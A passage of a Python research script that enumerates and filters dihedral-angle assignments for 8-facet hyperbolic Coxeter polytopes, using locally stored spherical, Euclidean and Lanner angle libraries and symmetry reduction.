face\r\n\r\n def sort_order(i):\r\n i.sort()\r\n return i\r\n\r\n def IncreaseOne(x):\r\n return [i + 1 for i in x]\r\n\r\n def alphabet(x):\r\n k = ''.join(sorted(x, key=str.lower))\r\n return k\r\n\r\n def getIndexes(dfObj, value):\r\n listOfPos = []\r\n result = dfObj.isin([value])\r\n seriesObj = result.any()\r\n columnNames = list(seriesObj[seriesObj == True].index)\r\n for col in columnNames:\r\n rows = list(result[col][result[col] == True].index)\r\n for row in rows:\r\n listOfPos.append([row, col])\r\n return listOfPos\r\n\r\n def spl(t):\r\n a = int(t / 10)\r\n b = t % 10\r\n return [a, b]\r\n\r\n def stimultaneous_spl(t):\r\n c = [spl(_) for _ in t]\r\n d = []\r\n for i in range(len(t)):\r\n d += c[i]\r\n return set(d)\r\n\r\n # the following are per functions\r\n\r\n def key_list_after_sym(x):\r\n m = []\r\n for i in range(1, sym_cardinality + 1):\r\n exec(\"temp = sort_order([dir_\" + str(i) + \"[j] for j in x])\")\r\n exec(\"m += [10*temp[0]+temp[1]]\")\r\n return m\r\n\r\n merTOstr = lambda x: ''.join([str(_) for _ in x])\r\n\r\n def pre_generate(onedata, pos):\r\n pos = [i - 1 for i in pos] # -1 due to a uniform indexing\r\n return [onedata[i] for i in pos]\r\n\r\n def generate(onedata):\r\n tempfunction = functools.partial(pre_generate, onedata)\r\n temp = np.apply_along_axis(tempfunction, 1, kl_columns)\r\n temp = [merTOstr(_) for _ in temp]\r\n return temp\r\n\r\n def conver_preresult(i):\r\n return [int(j) for j in data_after_per[i]]\r\n\r\n def replace7(row):\r\n to_modify = data.iloc[row, :]\r\n indexes = [i for i, x in enumerate(to_modify) if x == 7]\r\n replacements = [(i + 1) * 10 + 7 for i in range(len(indexes))]\r\n for index in range(len(indexes)):\r\n to_modify[indexes[index] + 1] = replacements[index]\r\n return ()\r\n\r\n\r\n #local functions\r\n\r\n def select_columns(i):\r\n return [dicti[j] for j in i]\r\n\r\n def infty2(x):\r\n if len(set([x[j] for j in [0, 5]]) & set(infty)) == 2 and len(\r\n set([x[j] for j in [1, 2, 3, 4]]) & set(infty)) == 0:\r\n return [x[j] for j in [1, 2, 3, 4]]\r\n if len(set([x[j] for j in [1, 4]]) & set(infty)) == 2 and len(\r\n set([x[j] for j in [0, 2, 3, 5]]) & set(infty)) == 0:\r\n return [x[j] for j in [0, 2, 3, 5]]\r\n if len(set([x[j] for j in [2, 3]]) & set(infty)) == 2 and len(\r\n set([x[j] for j in [0, 1, 4, 5]]) & set(infty)) == 0:\r\n return [x[j] for j in [0, 1, 4, 5]]\r\n return None\r\n\r\n\r\n def check_nonvert_all_edge(x):\r\n edge_list = list(itertools.combinations(non_vert_facets[x], 3))\r\n edge_list = [set(list(_)) for _ in edge_list]\r\n judge = [_ for _ in edge_list if _ in Edge]\r\n if edge_list == judge:\r\n return x\r\n return \"F\"\r\n\r\n def killer(j, df):\r\n col_check = select_columns(cdt[j])\r\n return list(df[[str(j) for j in col_check]]) not in lib\r\n\r\n def saver(j, df):\r\n col_check = select_columns(cdt[j])\r\n return list(df[[str(j) for j in col_check]]) in lib\r\n\r\n\r\n # data\r\n alpha_list = [chr(x) for x in range(ord('A'), ord('Z') + 1)]\r\n\r\n d = 8 # number of facets\r\n dp = 28 # number of all indexes 1+2+..+d-1\r\n dh = 6 # length of dihedral angle. eg. 3->3,4->6,5->10...\r\n\r\n\r\n\r\n print(Vert)\r\n\r\n key_list = [alpha_list[_] for _ in range(len(Vert))]\r\n value_list = Vert\r\n dicti_vert = {key: value for (key, value) in zip(key_list, value_list)}\r\n value_1 = [conver_face1(i, dicti_vert) for i in range(1, d + 1)]\r\n key_1 = range(d)\r\n dicti_1 = {key: value for (key, value) in zip(key_1, value_1)}\r\n permu_1 = [list(_) for _ in (itertools.combinations(range(d), 2))]\r\n\r\n matrix = [[1, 1, 1, 1, 1, 1, 1, 1],\r\n [1, 1, 1, 1, 1, 1, 1, 1],\r\n [1, 1, 1, 1, 1, 1, 1, 1],\r\n [1, 1, 1, 1, 1, 1, 1, 1],\r\n [1, 1, 1, 1, 1, 1, 1, 1],\r\n [1, 1, 1, 1, 1, 1, 1, 1],\r\n [1, 1, 1, 1, 1, 1, 1, 1],\r\n [1, 1, 1, 1, 1, 1, 1, 1]]\r\n\r\n for i in permu_1:\r\n matrix[i[0]][i[1]] = \"\".join(sorted(set.intersection(set(list(dicti_1[i[0]])), set(list(dicti_1[i[1]])))))\r\n if matrix[i[0]][i[1]] == '':\r\n matrix[i[0]][i[1]] = \"0\"\r\n\r\n flat_matrix = list(itertools.chain(*matrix))\r\n print(\"hyper-parallel number:\", flat_matrix.count(\"0\"))\r\n\r\n df_matrix = pd.DataFrame(matrix, columns=range(1, d + 1), index=range(1, d + 1))\r\n print(\"adjacent matrix:\")\r\n print(df_matrix)\r\n\r\n listOfPositions = getIndexes(df_matrix, \"0\")\r\n print(\"hyper-parallel pairs:\", listOfPositions)\r\n infty = [_[0] * 10 + _[1] for _ in listOfPositions]\r\n\r\n key_allin_list = [12, 13, 14, 15, 16, 17, 18,\r\n 23, 24, 25, 26, 27, 28,\r\n 34, 35, 36, 37, 38,\r\n 45, 46, 47, 48,\r\n 56, 57, 58,\r\n 67, 68,\r\n 78]\r\n lose_value = len(listOfPositions)\r\n value_select_list = range(1, (dp - lose_value + 1))\r\n key_select_list = [i for i in key_allin_list if i not in infty]\r\n dicti = {key: value for (key, value) in zip(key_select_list, value_select_list)}\r\n print(\"key_list\", key_select_list)\r\n print(\"dicti\", dicti)\r\n\r\n print()\r\n\r\n #library\r\n\r\n print(\"sphrical library\", \"*\" * 100)\r\n\r\n path = \"./ToolPolytope\"\r\n s3lis = pd.read_csv(path + \"/Slis/S3lis.txt\", sep=' ', names=range(1, 4))\r\n s3lis = s3lis.values.tolist()\r\n ts3 = [[int(j) for j in s3lis[i]] for i in range(len(s3lis))]\r\n\r\n s4lis = pd.read_csv(path + \"/Slis/S4lis.txt\", sep=' ', names=range(1, 7))\r\n s4lis = s4lis.values.tolist()\r\n ts4 = [[int(j) for j in s4lis[i]] for i in range(len(s4lis))]\r\n\r\n s5lis = pd.read_csv(path + \"/Slis/S5lis.txt\", sep=' ', names=range(1, 11))\r\n s5lis = s5lis.values.tolist()\r\n ts5 = [[int(j) for j in s5lis[i]] for i in range(len(s5lis))]\r\n\r\n s6lis = pd.read_csv(path + \"/Slis/S6lis.txt\", sep=' ', names=range(1, 16))\r\n s6lis = s6lis.values.tolist()\r\n ts6 = [[int(j) for j in s6lis[i]] for i in range(len(s6lis))]\r\n\r\n s7lis = pd.read_csv(path + \"/Slis/S7lis.txt\", sep=' ', names=range(1, 21))\r\n s7lis = s7lis.values.tolist()\r\n ts7 = [[int(j) for j in s7lis[i]] for i in range(len(s7lis))]\r\n\r\n print(\"3-7 spherical sizes:\", len(ts3), len(ts4), len(ts5), len(ts6), len(ts7))\r\n\r\n print(\"euclidean library\", \"*\" * 100)\r\n e3lis = pd.read_csv(path + \"/Elis/E3lis.txt\", sep=' ', names=range(1, 4))\r\n e3lis = e3lis.values.tolist()\r\n te3 = [[int(j) for j in e3lis[i]] for i in range(len(e3lis))]\r\n\r\n e4lis = pd.read_csv(path + \"/Elis/E4lis.txt\", sep=' ', names=range(1, 7))\r\n e4lis = e4lis.values.tolist()\r\n te4 = [[int(j) for j in e4lis[i]] for i in range(len(e4lis))]\r\n\r\n e5lis = pd.read_csv(path + \"/Elis/E5lis.txt\", sep=' ', names=range(1, 11))\r\n e5lis = e5lis.values.tolist()\r\n te5 = [[int(j) for j in e5lis[i]] for i in range(len(e5lis))]\r\n\r\n e6lis = pd.read_csv(path + \"/Elis/E6lis.txt\", sep=' ', names=range(1, 16))\r\n e6lis = e6lis.values.tolist()\r\n te6 = [[int(j) for j in e6lis[i]] for i in range(len(e6lis))]\r\n\r\n e7lis = pd.read_csv(path + \"/Elis/E7lis.txt\", sep=' ', names=range(1, 21))\r\n e7lis = e7lis.values.tolist()\r\n te7 = [[int(j) for j in e7lis[i]] for i in range(len(e7lis))]\r\n\r\n print(\"3-7 euclidean sizes:\", len(te3), len(te4), len(te5), len(te6), len(te7))\r\n\r\n print(\"lanner library\", \"*\" * 100)\r\n l4lis = pd.read_csv(path + \"/Lanner/L4lis.txt\", sep=' ', names=range(1, 7))\r\n l4lis = l4lis.values.tolist()\r\n tl4 = [[int(j) for j in l4lis[i]] for i in range(len(l4lis))]\r\n print(\"4 lanner sizes:\", len(tl4))\r\n\r\n tl4_basis = [[2]]\r\n print(\"4 lanner basis sizes:\", len(tl4_basis))\r\n\r\n print(\"infty library\", \"*\" * 100)\r\n ti4 = [[2] * 4]\r\n print(\"4 infty2 sizes:\", len(ti4))\r\n print(\"*\" * 150)\r\n\r\n Nv = len(Vert)\r\n Nr = len(key_select_list)\r\n Nl = len(ts4) # ts4 is verify set and s4 is test set\r\n print(\"number of vert:\", Nv, \"number of non-hyp-parallel:\", Nr, \"number of spherical candidates:\", Nl)\r\n\r\n print()\r\n\t\r\n #generate test sets\r\n\r\n print(\"killer set:\", \"*\" * 100)\r\n virtual_vert_set = [set(list(_)) for _ in list(itertools.combinations(range(1, d + 1), 4))]\r\n vert_set = [set(_) for _ in Vert]\r\n non_vert_set = [_ for _ in virtual_vert_set if _ not in vert_set]\r\n non_vert = [sort_order(_) for _ in [list(_) for _ in non_vert_set]]\r\n pre_s4 = [[10 * i + j for i, j in list(itertools.combinations(k, 2))] for k in non_vert]\r\n s4 = [i for i in pre_s4 if list(set(i) & set(infty)) == []]\r\n non_vert_facets = [stimultaneous_spl(_) for _ in s4]\r\n s4cols = [select_columns(_) for _ in s4]\r\n print(\"s4\", \"(\", len(s4), \")\", \":\", non_vert_facets)\r\n\r\n pre_e4 = [[10 * i + j for i, j in list(itertools.combinations(k, 2))] for k in\r\n list(itertools.combinations(range(1, d + 1), 4))]\r\n e4 = [i for i in pre_e4 if list(set(i) & set(infty)) == []]\r\n e4_facets = [stimultaneous_spl(_) for _ in e4]\r\n e4cols = [select_columns(_) for _ in e4]\r\n print(\"e4\", \"(\", len(e4), \"):\", e4_facets)\r\n\r\n temp_i4 = [infty2(_) for _ in pre_e4]\r\n i4 = [x for x in temp_i4 if x is not None] ## 23 45 36..\r\n ## print(\"i41\", i4)\r\n i4 = [sort_order(_) for _ in i4]\r\n ## print(\"i42\", i4)\r\n i4_cols = [select_columns( _) for _ in i4] ## 1,2,28..\r\n ## print(\"i4_cols\", i4_cols)\r\n i4_facets = [stimultaneous_spl(_) for _ in i4] ## {2,3,4,5}..\r\n print(\"i4\", \"(\", len(i4), \"):\", i4_facets)\r\n\r\n Edge = []\r\n for i in Vert:\r\n Edge += [list(j) for j in list(itertools.combinations(i, 3))]\r\n Edge.sort()\r\n Edge = list(Edge for Edge, _ in itertools.groupby(Edge))\r\n Edge = [set(_) for _ in Edge]\r\n\r\n virtual_edge_set = [set(list(_)) for _ in list(itertools.combinations(range(1, d + 1), 3))]\r\n edge_set = [set(_) for _ in Edge]\r\n non_edge_set = [_ for _ in virtual_edge_set if _ not in edge_set]\r\n non_edge = [sort_order(_) for _ in [list(_) for _ in non_edge_set]]\r\n pre_s3 = [[10 * i + j for i, j in list(itertools.combinations(k, 2))] for k in non_edge]\r\n s3 = [i for i in pre_s3 if list(set(i) & set(infty)) == []]\r\n non_edge_facets = [stimultaneous_spl(_) for _ in s3]\r\n s3cols = [select_columns( _) for _ in s3]\r\n print(\"s3\", \"(\", len(s3), \"):\", non_edge_facets)\r\n\r\n pre_e3 = [[10 * i + j for i, j in list(itertools.combinations(k, 2))] for k in\r\n list(itertools.combinations(range(1, d + 1), 3))]\r\n e3 = [i for i in pre_e3 if list(set(i) & set(infty)) == []]\r\n e3_facets = [stimultaneous_spl(_) for _ in e3]\r\n e3cols = [select_columns( _) for _ in e3]\r\n print(\"e3\", \"(\", len(e3), \"):\", e3_facets)\r\n\r\n select_lanner = [check_nonvert_all_edge(_) for _ in range(len(non_vert_facets))]\r\n trick = [\"F\"]\r\n l_index = [_ for _ in select_lanner if _ not in trick]\r\n l4 = [s4[_] for _ in l_index]\r\n l4_cols = [select_columns( _) for _ in l4]\r\n l4_facets = [stimultaneous_spl(_) for _ in l4]\r\n print(\"l4\", \"(\", len(l4), \"):\", l4_facets)\r\n\r\n l4_bf = ([_ + 1 for _ in range(len(value_1)) if len(value_1[_]) == 4])\r\n l4_basis = []\r\n l4_basis_facets = []\r\n\r\n for k in l4_bf:\r\n temp = sort_order([i + 1 for i in range(d) if matrix[k - 1][i] != 1 if matrix[k - 1][i] != '0'] +\r\n [i + 1 for i in range(d) if matrix[i][k - 1] != 1 if matrix[i][k - 1] != '0'])\r\n l4_basis_facets += [temp]\r\n temp2 = [sort_order([k, q]) for q in temp]\r\n l4_basis += [10 * i + j for [i, j] in temp2]\r\n\r\n l4_basis = [[i] for i in sort_order(l4_basis)]\r\n\r\n print(\"l4_basis\", \"(\", len(l4_bf), \"):\", [[l4_bf[i], l4_basis_facets[i]] for i in range(len(l4_bf))])\r\n\r\n\r\n pre_se5 = [[10 * i + j for i, j in list(itertools.combinations(k, 2))] for k in\r\n list(itertools.combinations(range(1, d + 1), 5))]\r\n se5 = [i for i in pre_se5 if list(set(i) & set(infty)) == []]\r\n se5_facets = [stimultaneous_spl(_) for _ in se5]\r\n se5cols = [select_columns( _) for _ in se5]\r\n print(\"se5\", \"(\", len(se5), \"):\", se5_facets)\r\n\r\n pre_se6 = [[10 * i + j for i, j in list(itertools.combinations(k, 2))] for k in\r\n list(itertools.combinations(range(1, d + 1), 6))]\r\n se6 = [i for i in pre_se6 if list(set(i) & set(infty)) == []]\r\n se6_facets = [stimultaneous_spl(_) for _ in se6]\r\n se6cols = [select_columns( _) for _ in se6]\r\n print(\"se6\", \"(\", len(se6), \"):\", se6_facets)\r\n\r\n pre_se7 = [[10 * i + j for i, j in list(itertools.combinations(k, 2))] for k in\r\n list(itertools.combinations(range(1, d + 1), 7))]\r\n se7 = [i for i in pre_se7 if list(set(i) & set(infty)) == []]\r\n se7_facets = [stimultaneous_spl(_) for _ in se7]\r\n se7cols = [select_columns( _) for _ in se7]\r\n print(\"se7\", \"(\", len(se7), \"):\", se7_facets)\r\n\r\n vert = []\r\n link = []\r\n cover = []\r\n for i in range(Nv):\r\n vert = vert + [[10 * i + j for i, j in list(itertools.combinations(Vert[i], 2))]]\r\n\r\n cover = cover + [sort_order(list(set(vert[0]).union(set(vert[1]))))]\r\n link = [list(set(vert[0]).intersection(set(vert[1])))]\r\n\r\n for k in range(2, Nv):\r\n link = link + [list(set(cover[k - 2]).intersection(set(vert[k])))]\r\n cover = cover + [sort_order(list(set(cover[k - 2]).union(set(vert[k]))))]\r\n\r\n cover_list = [vert[0]] + cover\r\n\r\n print(\"link:\", link)\r\n print(\"cover_list:\", cover_list)\r\n\r\n range_s3 = range(len(s3))\r\n range_s4 = range(len(s4))\r\n range_se5 = range(len(se5))\r\n range_se6 = range(len(se6))\r\n range_se7 = range(len(se7))\r\n range_e3 = range(len(e3))\r\n range_e4 = range(len(e4))\r\n range_l4 = range(len(l4))\r\n range_l4_basis = range(len(l4_basis))\r\n range_i4 = range(len(i4))\r\n\r\n cancel_list = []\r\n for i in range(len(Vert)):\r\n temp = []\r\n temps3 = []\r\n temps4 = []\r\n tempse5 = []\r\n tempse6 = []\r\n tempse7 = []\r\n tempe3 = []\r\n tempe4 = []\r\n templ4 = []\r\n templ4_basis = []\r\n tempi4 = []\r\n\r\n for j in range_s3:\r\n temp1 = s3[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n temps3 += [j]\r\n range_s3 = [_ for _ in range_s3 if _ not in temps3]\r\n\r\n for j in range_s4:\r\n temp1 = s4[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n temps4 += [j]\r\n range_s4 = [_ for _ in range_s4 if _ not in temps4]\r\n\r\n for j in range_se5:\r\n temp1 = se5[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n tempse5 += [j]\r\n range_se5 = [_ for _ in range_se5 if _ not in tempse5]\r\n\r\n for j in range_se6:\r\n temp1 = se6[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n tempse6 += [j]\r\n range_se6 = [_ for _ in range_se6 if _ not in tempse6]\r\n\r\n for j in range_se7:\r\n temp1 = se7[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n tempse7 += [j]\r\n range_se7 = [_ for _ in range_se7 if _ not in tempse7]\r\n\r\n for j in range_e3:\r\n temp1 = e3[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n tempe3 += [j]\r\n range_e3 = [_ for _ in range_e3 if _ not in tempe3]\r\n\r\n for j in range_e4:\r\n temp1 = e4[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n tempe4 += [j]\r\n range_e4 = [_ for _ in range_e4 if _ not in tempe4]\r\n\r\n for j in range_l4:\r\n temp1 = l4[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n templ4 += [j]\r\n range_l4 = [_ for _ in range_l4 if _ not in templ4]\r\n\r\n for j in range_l4_basis:\r\n temp1 = l4_basis[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n templ4_basis += [j]\r\n range_l4_basis = [_ for _ in range_l4_basis if _ not in templ4_basis]\r\n\r\n for j in range_i4:\r\n temp1 = i4[j]\r\n judge_temp = [k for k in temp1 if k in cover_list[i]]\r\n if len(temp1) == len(judge_temp):\r\n tempi4 += [j]\r\n range_i4 = [_ for _ in range_i4 if _ not in tempi4]\r\n\r\n temp += [\r\n [i, temps3, temps4, tempse5, tempse6, tempse7, tempe3, tempe4, tempse5, tempse6, tempse7, templ4, templ4_basis, tempi4]]\r\n cancel_list += temp\r\n\r\n print(\"cancel_list:\", cancel_list)\r\n\r\n print()\r\n\r\n condition_all = (s3, s4, se5, se6, se7, e3, e4, se5, se6, se7, l4, l4_basis, i4) ## cols\r\n library_all = (ts3, ts4, ts5, ts6, ts7, te3, te4, te5, te6, te7, tl4, tl4_basis, ti4) ## admitting angles\r\n kind_all = (\"s3\", \"s4\", \"s5\", \"s6\", \"s7\", \"e3\", \"e4\", \"e5\", \"e6\", \"e7\", \"l4\", \"l4_basis\", \"i4\") ## type\r\n\r\n condition = [condition_all[x - 1] for x in [1, 6, 7, 13, 12, 11]]\r\n library = [library_all[x - 1] for x in [1, 6, 7, 13, 12, 11]]\r\n kind = [kind_all[x - 1] for x in [1, 6, 7, 13, 12, 11]]\r\n\r\n print(\"pasting + round 1 killing:\", \"*\" * 100)\r\n\r\n select_cancel_list = [[i[j] for j in [0, 1, 6, 7, 13, 12, 11]] for i in cancel_list]\r\n print(\"select_cancel_list:\", select_cancel_list)\r\n\r\n tstar = time.time()\r\n\r\n T = []\r\n t1 = time.time()\r\n sel_cols = select_columns(vert[0])\r\n df_1 = np.zeros([Nl, Nr])\r\n df_1[:, [j - 1 for j in sel_cols]] = pd.DataFrame(ts4, dtype=np.int8, columns=list(range(1, dh + 1))) # 【6个二面角】\r\n data = pd.DataFrame(df_1, dtype=np.int8, columns=[str(_) for _ in list(range(1, Nr + 1))])\r\n t2 = time.time()\r\n Ttemp = [\"df1:\", data.shape, t2 - t1]\r\n T += [Ttemp]\r\n print(Ttemp)\r\n\r\n for k in range(len(select_cancel_list[0]) - 2, len(select_cancel_list[0])):\r\n if select_cancel_list[0][k] != []:\r\n cdt = condition[k - 1]\r\n lib = library[k - 1]\r\n for j in select_cancel_list[0][k]:\r\n t1 = time.time()\r\n saving = functools.partial(saver, j)\r\n data[str(Nr + 1)] = data.apply(saving, axis=1)\r\n # print(data)\r\n data = data.loc[data[str(Nr + 1)] == True][[str(_) for _ in range(1, Nr + 1)]]\r\n t2 = time.time()\r\n Ttemp = [\"df1\", kind[k - 1], select_cancel_list[0][k], data.shape[0], t2 - t1]\r\n T += [Ttemp]\r\n print(Ttemp)\r\n\r\n for k in range(1, len(select_cancel_list[0]) - 2):\r\n if select_cancel_list[0][k] != []:\r\n cdt = condition[k - 1]\r\n lib = library[k - 1]\r\n for j in select_cancel_list[0][k]:\r\n t1 = time.time()\r\n killing = functools.partial(killer, j)\r\n data[str(Nr + 1)] = data.apply(killing, axis=1)\r\n # print(data)\r\n data = data.loc[data[str(Nr + 1)] == True][[str(_) for _ in range(1, Nr + 1)]]\r\n t2 = time.time()\r\n Ttemp = [\"df1\", kind[k - 1], select_cancel_list[0][k], data.shape[0], t2 - t1]\r\n T += [Ttemp]\r\n print(Ttemp)\r\n\r\n t1 = time.time()\r\n sel_cols = select_columns(vert[1])\r\n df_2 = np.zeros([Nl, Nr])\r\n df_2[:, [j - 1 for j in sel_cols]] = pd.DataFrame(ts4, dtype=np.int8, columns=list(range(1, dh + 1)))\r\n df_2 = pd.DataFrame(df_2, dtype=int, columns=[str(name) for name in list(range(1, Nr + 1))])\r\n # merging by linking\r\n tem = sort_order(select_columns(link[0]))\r\n print(tem)\r\n tem1 = list(set(range(1, Nr + 1)) - set(tem))\r\n data = pd.merge(df_2, data, on=[str(_) for _ in tem])\r\n # selecting result columns and form data\r\n for j in tem1:\r\n data[str(j)] = data[str(j) + \"_x\"] + data[str(j) + \"_y\"]\r\n data = data[[str(_) for _ in range(1, Nr + 1)]]\r\n t2 = time.time()\r\n Ttemp = [\"df2:\", data.shape, t2 - t1]\r\n T += [Ttemp]\r\n print(Ttemp)\r\n\r\n for k in range(len(select_cancel_list[0]) - 2, len(select_cancel_list[0])):\r\n if select_cancel_list[1][k] != []:\r\n cdt = condition[k - 1]\r\n lib = library[k - 1]\r\n for j in select_cancel_list[1][k]:\r\n t1 = time.time()\r\n saving = functools.partial(saver, j)\r\n data[str(Nr + 1)] = data.apply(saving, axis=1)\r\n # print(data)\r\n data = data.loc[data[str(Nr + 1)] == True][[str(_) for _ in range(1, Nr + 1)]]\r\n t2 = time.time()\r\n Ttemp = [\"df2\", [kind[k - 1], select_cancel_list[1][k], data.shape[0], t2 - t1]]\r\n T += [Ttemp]\r\n print(Ttemp)\r\n\r\n for k in range(1, len(select_cancel_list[0]) - 2):\r\n if select_cancel_list[1][k] != []: ###1\r\n cdt = condition[k - 1]\r\n lib = library[k - 1]\r\n for j in select_cancel_list[1][k]:\r\n t1 = time.time()\r\n killing = functools.partial(killer, j)\r\n data[str(Nr + 1)] = data.apply(killing, axis=1)\r\n # print(data)\r\n data = data.loc[data[str(Nr + 1)] == True][[str(_) for _ in range(1, Nr + 1)]]\r\n t2 = time.time()\r\n Ttemp = [\"df2\", [kind[k - 1], select_cancel_list[1][k], data.shape[0], t2 - t1]] ###1\r\n T += [Ttemp]\r\n print(Ttemp)\r\n\r\n for i in range(2, Nv):\r\n t1 = time.time()\r\n sel_cols = select_columns(vert[i])\r\n temp = \"df_\" + str(i + 1)\r\n exec(temp + \"=np.zeros([Nl,Nr])\")\r\n exec(temp + \"[:,[ j-1 for j in sel_cols]]=pd.DataFrame(ts4,dtype=np.int8,columns=list(range(1,dh+1)))\")\r\n exec(temp + \"=pd.DataFrame(\" + temp + \",dtype=np.int8,columns=[str(_) for _ in list(range(1,Nr+1))])\")\r\n tem = sort_order(select_columns(link[i - 1]))\r\n tem1 = list(set(range(1, Nr + 1)) - set(tem))\r\n exec(\"data_temp=pd.merge(\" + temp + \",data,on=[str(_) for _ in tem])\"); data=locals()['data_temp']\r\n for j in tem1:\r\n data[str(j)] = data[str(j) + \"_x\"] + data[str(j) + \"_y\"]\r\n data = data[[str(_) for _ in range(1, Nr + 1)]]\r\n t2 = time.time()\r\n Ttemp = [\"df\", i + 1, data.shape, t2 - t1]\r\n T += [Ttemp]\r\n print(Ttemp)\r\n\r\n if data.shape[0] == 0:\r\n break\r\n\r\n for k in range(len(select_cancel_list[0]) - 2, len(select_cancel_list[0])):\r\n if select_cancel_list[i][k] != []:\r\n cdt = condition[k - 1]\r\n lib = library[k - 1]\r\n for j in select_cancel_list[i][k]:\r\n t1 = time.time()\r\n saving = functools.partial(saver, j)\r\n data[str(Nr + 1)] = data.apply(saving, axis=1)\r\n # print(data)\r\n data = data.loc[data[str(Nr + 1)] == True][[str(_) for _ in range(1, Nr + 1)]]\r\n t2 = time.time()\r\n\r\n Ttemp = [\"df\", i + 1, [kind[k - 1], select_cancel_list[i][k], data.shape[0], t2 - t1]]\r\n T += [Ttemp]\r\n print(Ttemp)\r\n\r\n for k in range(1, len(select_cancel_list[0]) - 2):\r\n if select_cancel_list[i][k] != []:\r\n cdt = condition[k - 1]\r\n lib = library[k - 1]\r\n for j in select_cancel_list[i][k]:\r\n t1 = time.time()\r\n killing = functools.partial(killer, j)\r\n data[str(Nr + 1)] = data.apply(killing, axis=1)\r\n # print(data)\r\n data = data.loc[data[str(Nr + 1)] == True][[str(_) for _ in range(1, Nr + 1)]]\r\n t2 = time.time()\r\n\r\n Ttemp = [\"df\", i + 1, [kind[k - 1], select_cancel_list[i][k], data.shape[0], t2 - t1]] ###1\r\n T += [Ttemp]\r\n print(Ttemp)\r\n\r\n tend = time.time()\r\n print(\"total time consuming:\", tend - tstar)\r\n print(\"data round1:\", data.shape)\r\n\r\n # after per\r\n per = pd.read_csv(\"P8_17_per.txt\", sep=' ', names=range(1, d + 1))\r\n data.columns = range(1, Nr + 1) # 更改column名是因为之前per和change7是在另一个文档按照这个列名写的\r\n sym_cardinality = int(per.shape[0])\r\n\r\n for i in range(sym_cardinality):\r\n sym_key_list = range(1, int(per.shape[1]) + 1)\r\n sym_value_list = list(per.iloc[i])\r\n nam = \"dir_\" + str(i + 1)\r\n exec(nam + \"={key: value for (key, value) in zip(sym_key_list, sym_value_list)}\")\r\n\r\n kl_spl = [spl(_) for _ in key_select_list]\r\n kl_matrix = np.transpose(np.array([key_list_after_sym(_) for _ in kl_spl]))\r\n kl_columns = np.apply_along_axis(select_columns, 1, kl_matrix)\r\n\r\n tstart = time.time()\r\n data_array = np.array(data)\r\n pre_result = set(frozenset(i) for i in [generate(_) for _ in data_array])\r\n print(len(pre_result))\r\n tend = time.time()\r\n print(\"permu time consuming1:\", tend - tstart)\r\n\r\n tstart = time.time()\r\n pre_temp = [list(_) for _ in list(pre_result)]\r\n pre_temp = [pre_temp[i][0] for i in range(len(pre_result))]\r\n data_after_per = [list(j) for j in pre_temp]\r\n data_after_per = [conver_preresult(_) for _ in range(len(pre_temp))]\r\n # data_after_per = [conver_preresult(_) for _ in range(len(pre_result))]\r\n tend = time.time()\r\n print(\"permu time consuming2:\", tend - tstart)\r\n\r\n data = pd.DataFrame(data_after_per, dtype=int,\r\n columns=[str(_) for _ in range(1, Nr + 1)]) # columns name 不用str,否则replace函数的切片指标会差1\r\n data.to_csv('output/P8_17/P8_17_LSIEr1_per.txt', header=None, index=None, sep=' ', mode='a')\r\n\r\n # round 2\r\n print()\r\n print(\"pasting+round 2 killing:\", \"*\" * 100)\r\n select_cancel_list = [[i[j] for j in [0, 2, 3, 4, 5, 8, 9, 10]] for i in cancel_list]\r\n print(\"select_cancel_list:\", select_cancel_list)\r\n\r\n condition = [condition_all[x - 1] for x in [2, 3, 4, 5, 8, 9, 10]]\r\n library = [library_all[x - 1] for x in [2, 3, 4, 5, 8, 9, 10]]\r\n kind = [kind_all[x - 1] for x in [2, 3, 4, 5, 8, 9, 10]]\r\n\r\n tstart = time.time()\r\n\r\n for i in range(Nv):\r\n for k in range(1, len(select_cancel_list[0])):\r\n if select_cancel_list[i][k] != []: ###1\r\n cdt = condition[k - 1] # cdt,lib,kind都是i-1\r\n lib = library[k - 1]\r\n for j in select_cancel_list[i][k]: ###这里是取0,后面是参数选取 ###1\r\n t1 = time.time()\r\n killing = functools.partial(killer, j)\r\n data[str(Nr + 1)] = data.apply(killing, axis=1)\r\n # print(data)\r\n data = data.loc[data[str(Nr + 1)] == True][[str(_) for _ in range(1, Nr + 1)]]\r\n t2 = time.time()\r\n Ttemp = [\"df\", i + 1, \":\", kind[k - 1], select_cancel_list[i][k], data.shape[0], t2 - t1]\r\n T += [Ttemp] ###1\r\n print(Ttemp)\r\n\r\n tend = time.time()\r\n print(\"total time consuming:\", tend - tstar)\r\n print(\"data round 2:\", data.shape)\r\n\r\n data.to_csv('output/P8_17/P8_17_LSIEr2_per.txt', header=None, index=None, sep=' ', mode='a')\r\n\r\n # chenage 7\r\n\r\n tstart = time.time()\r\n data.columns = range(1, Nr + 1)\r\n temp = [replace7(_) for _ in range(len(data))]\r\n tend = time.time()\r\n print(\"change7 time consuming:\", tend - tstart)\r\n\r\n data.to_csv('output/P8_17/P8_17_LSIE_per_change7.txt', header=None, index=None, sep=' ', mode='a')\r\n return\r\n\r\n\r\nif __name__ == '__main__':\r\n Vert = [[1, 2, 4, 6], [1, 3, 4, 6], [2, 3, 4, 6], [1, 2, 5, 6], [1, 3, 5, 6], [2, 3, 5, 6],\r\n [1, 2, 5, 7], [1, 3, 5, 7], [1, 2, 4, 7], [1, 3, 4, 7], [2, 3, 5, 8], [2, 5, 7, 8],\r\n [3, 5, 7, 8], [2, 3, 4, 8], [2, 4, 7, 8], [3, 4, 7, 8]]\r\n run48(Vert)", "repo_name": "GeoTopChristy/HCPdm", "sub_path": "pyFile/chcp48.py", "file_name": "chcp48.py", "file_ext": "py", "file_size_in_byte": 29135, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", 